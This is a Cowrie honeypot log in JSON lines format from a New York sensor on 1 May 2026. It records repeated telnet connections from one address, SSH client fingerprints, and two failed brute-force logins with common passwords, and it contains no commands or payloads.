{"eventid":"cowrie.session.closed","duration":30.589730501174927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:47.265068Z","src_ip":"213.129.84.225","session":"1d99d845757c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.173.3.94","src_port":53540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e265bf38a61f","protocol":"telnet","message":"New connection: 104.173.3.94:53540 (159.203.135.109:23) [session: e265bf38a61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:47.483751Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:48.220616Z","src_ip":"202.125.94.71","session":"2710bc93e2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48282,"dst_ip":"159.203.135.109","dst_port":23,"session":"678d73a98848","protocol":"telnet","message":"New connection: 213.129.84.225:48282 (159.203.135.109:23) [session: 678d73a98848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:48.772307Z"}
{"eventid":"cowrie.session.closed","duration":31.67723274230957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:48.876276Z","src_ip":"213.129.84.225","session":"0f8324a557a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.244558334350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:49.586143Z","src_ip":"213.129.84.225","session":"564f9c211445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52078,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e997e274523","protocol":"telnet","message":"New connection: 213.129.84.225:52078 (159.203.135.109:23) [session: 1e997e274523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:49.602272Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52344,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ad076b4321","protocol":"telnet","message":"New connection: 213.129.84.225:52344 (159.203.135.109:23) [session: 81ad076b4321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:49.668967Z"}
{"eventid":"cowrie.session.closed","duration":31.22080397605896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:49.915123Z","src_ip":"213.129.84.225","session":"fefe5979edd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.553975820541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:50.050786Z","src_ip":"213.129.84.225","session":"0e57485276fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52446,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cfce8bcb99","protocol":"telnet","message":"New connection: 213.129.84.225:52446 (159.203.135.109:23) [session: 93cfce8bcb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:50.697519Z"}
{"eventid":"cowrie.session.closed","duration":30.75513195991516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:51.043621Z","src_ip":"213.129.84.225","session":"70f87658d01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.842176914215088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:52.025623Z","src_ip":"213.129.84.225","session":"397f159f518e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51850,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d2cf2c0144b","protocol":"telnet","message":"New connection: 213.129.84.225:51850 (159.203.135.109:23) [session: 1d2cf2c0144b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:52.072804Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36216,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d85591c813","protocol":"telnet","message":"New connection: 213.129.84.225:36216 (159.203.135.109:23) [session: 78d85591c813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:52.286547Z"}
{"eventid":"cowrie.session.closed","duration":30.465593099594116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:54.042326Z","src_ip":"213.129.84.225","session":"31cd6a87342c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425598859786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:54.120139Z","src_ip":"213.129.84.225","session":"e35085fdf896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45592,"dst_ip":"159.203.135.109","dst_port":23,"session":"d72158123e0f","protocol":"telnet","message":"New connection: 213.129.84.225:45592 (159.203.135.109:23) [session: d72158123e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:54.292792Z"}
{"eventid":"cowrie.session.closed","duration":30.919146299362183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:55.046494Z","src_ip":"213.129.84.225","session":"a5d1625bb01a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020756006240845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:55.072475Z","src_ip":"213.129.84.225","session":"e27b7d6babba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54296,"dst_ip":"159.203.135.109","dst_port":23,"session":"00360955dc73","protocol":"telnet","message":"New connection: 213.129.84.225:54296 (159.203.135.109:23) [session: 00360955dc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:56.164764Z"}
{"eventid":"cowrie.session.closed","duration":30.74576497077942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:56.180774Z","src_ip":"213.129.84.225","session":"afca13566b76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47218,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f704b83e63","protocol":"telnet","message":"New connection: 213.129.84.225:47218 (159.203.135.109:23) [session: 09f704b83e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:56.616699Z"}
{"eventid":"cowrie.session.closed","duration":30.90243434906006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:57.088565Z","src_ip":"213.129.84.225","session":"dde5b151c3fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905418872833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:57.156380Z","src_ip":"213.129.84.225","session":"ca1af4c02354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34086,"dst_ip":"159.203.135.109","dst_port":23,"session":"db72dfa145c2","protocol":"telnet","message":"New connection: 213.129.84.225:34086 (159.203.135.109:23) [session: db72dfa145c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:57.826575Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34936,"dst_ip":"159.203.135.109","dst_port":23,"session":"61bcdc3e5e67","protocol":"telnet","message":"New connection: 213.129.84.225:34936 (159.203.135.109:23) [session: 61bcdc3e5e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:58.013642Z"}
{"eventid":"cowrie.session.closed","duration":30.649450540542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:58.045396Z","src_ip":"213.129.84.225","session":"1d014db18df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35350,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e38d5b336ef","protocol":"telnet","message":"New connection: 213.129.84.225:35350 (159.203.135.109:23) [session: 0e38d5b336ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:58.117577Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f967f70f19b","protocol":"telnet","message":"New connection: 213.129.84.225:35826 (159.203.135.109:23) [session: 7f967f70f19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:58.202146Z"}
{"eventid":"cowrie.session.closed","duration":30.61954379081726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:59.042117Z","src_ip":"213.129.84.225","session":"31002a79371b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778282642364502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:59.062957Z","src_ip":"213.129.84.225","session":"cf71f15ac3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40948,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a3bb00ea68","protocol":"telnet","message":"New connection: 213.129.84.225:40948 (159.203.135.109:23) [session: a7a3bb00ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:59.216707Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44436,"dst_ip":"159.203.135.109","dst_port":23,"session":"caec0fc151e2","protocol":"telnet","message":"New connection: 213.129.84.225:44436 (159.203.135.109:23) [session: caec0fc151e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:15:59.893474Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46312,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b866c90b3b","protocol":"telnet","message":"New connection: 213.129.84.225:46312 (159.203.135.109:23) [session: 67b866c90b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:00.299323Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47336,"dst_ip":"159.203.135.109","dst_port":23,"session":"b59900466407","protocol":"telnet","message":"New connection: 213.129.84.225:47336 (159.203.135.109:23) [session: b59900466407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:00.461776Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3d9713037c","protocol":"telnet","message":"New connection: 137.184.155.248:39556 (10.17.0.5:23) [session: ba3d9713037c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:00.465894Z"}
{"eventid":"cowrie.session.closed","duration":30.658698797225952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.043477Z","src_ip":"213.129.84.225","session":"412184b6cfe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":33436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b5582108e4","protocol":"ssh","message":"New connection: 58.186.20.101:33436 (10.17.0.5:22) [session: c4b5582108e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.346467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.350854Z","src_ip":"58.186.20.101","session":"c4b5582108e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52226,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c55c7c2f812","protocol":"telnet","message":"New connection: 213.129.84.225:52226 (159.203.135.109:23) [session: 0c55c7c2f812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.389147Z"}
{"eventid":"cowrie.session.closed","duration":31.237590551376343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.512558Z","src_ip":"213.129.84.225","session":"53da565dab87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53122,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c9edf1432cd","protocol":"telnet","message":"New connection: 213.129.84.225:53122 (159.203.135.109:23) [session: 8c9edf1432cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.559051Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:01.609102Z","src_ip":"58.186.20.101","session":"c4b5582108e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.089005708694458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:02.135844Z","src_ip":"213.129.84.225","session":"45b0298475dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05f8006c459","protocol":"telnet","message":"New connection: 213.129.84.225:56818 (159.203.135.109:23) [session: a05f8006c459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:02.316460Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38258,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6819172e78","protocol":"telnet","message":"New connection: 213.129.84.225:38258 (159.203.135.109:23) [session: ce6819172e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:02.320732Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"159357","message":"login attempt [ubuntu/159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:02.671572Z","src_ip":"58.186.20.101","session":"c4b5582108e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59012,"dst_ip":"159.203.135.109","dst_port":23,"session":"7efa3a3ad643","protocol":"telnet","message":"New connection: 213.129.84.225:59012 (159.203.135.109:23) [session: 7efa3a3ad643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:02.714614Z"}
{"eventid":"cowrie.session.closed","duration":30.385497331619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.074703Z","src_ip":"213.129.84.225","session":"4da2c8d0d3c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81650185585022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.082383Z","src_ip":"213.129.84.225","session":"bacacd185a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"41054a954342","protocol":"telnet","message":"New connection: 213.129.84.225:56012 (159.203.135.109:23) [session: 41054a954342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.146873Z"}
{"eventid":"cowrie.session.closed","duration":30.40099859237671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.207526Z","src_ip":"213.129.84.225","session":"9f3b0e49da13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983799695968628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.222508Z","src_ip":"213.129.84.225","session":"6e5dcf4d8ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:03.931451Z","src_ip":"58.186.20.101","session":"c4b5582108e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c562e5267937","protocol":"telnet","message":"New connection: 213.129.84.225:39272 (159.203.135.109:23) [session: c562e5267937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:04.503281Z"}
{"eventid":"cowrie.session.closed","duration":30.185057640075684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:05.053360Z","src_ip":"213.129.84.225","session":"829a26359da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888196229934692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:05.068477Z","src_ip":"213.129.84.225","session":"b1b38139992e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938268661499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:05.133835Z","src_ip":"213.129.84.225","session":"27f35ed5b0b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac404e943050","protocol":"telnet","message":"New connection: 213.129.84.225:44422 (159.203.135.109:23) [session: ac404e943050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:05.541975Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47950,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c2b091b24f8","protocol":"telnet","message":"New connection: 213.129.84.225:47950 (159.203.135.109:23) [session: 5c2b091b24f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:06.268847Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1287bf3eea7","protocol":"ssh","message":"New connection: 203.90.110.186:34416 (10.17.0.5:22) [session: c1287bf3eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:06.373272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:06.378725Z","src_ip":"203.90.110.186","session":"c1287bf3eea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:06.604111Z","src_ip":"203.90.110.186","session":"c1287bf3eea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.306878566741943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:07.058602Z","src_ip":"213.129.84.225","session":"062d5b60a3c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788901329040527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:07.109511Z","src_ip":"213.129.84.225","session":"e3f06cd9a1ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52614,"dst_ip":"159.203.135.109","dst_port":23,"session":"72479953d838","protocol":"telnet","message":"New connection: 213.129.84.225:52614 (159.203.135.109:23) [session: 72479953d838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:07.280811Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa6f032b3bc","protocol":"telnet","message":"New connection: 213.129.84.225:52900 (159.203.135.109:23) [session: 3fa6f032b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:07.333249Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:07.536371Z","src_ip":"203.90.110.186","session":"c1287bf3eea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:08.766285Z","src_ip":"203.90.110.186","session":"c1287bf3eea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59790,"dst_ip":"159.203.135.109","dst_port":23,"session":"067a61a4b149","protocol":"telnet","message":"New connection: 213.129.84.225:59790 (159.203.135.109:23) [session: 067a61a4b149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:08.784370Z"}
{"eventid":"cowrie.session.closed","duration":30.856094360351562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:09.111529Z","src_ip":"213.129.84.225","session":"3a2c5a33ae1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb6aa572a45","protocol":"telnet","message":"New connection: 213.129.84.225:33434 (159.203.135.109:23) [session: 6fb6aa572a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:09.183698Z"}
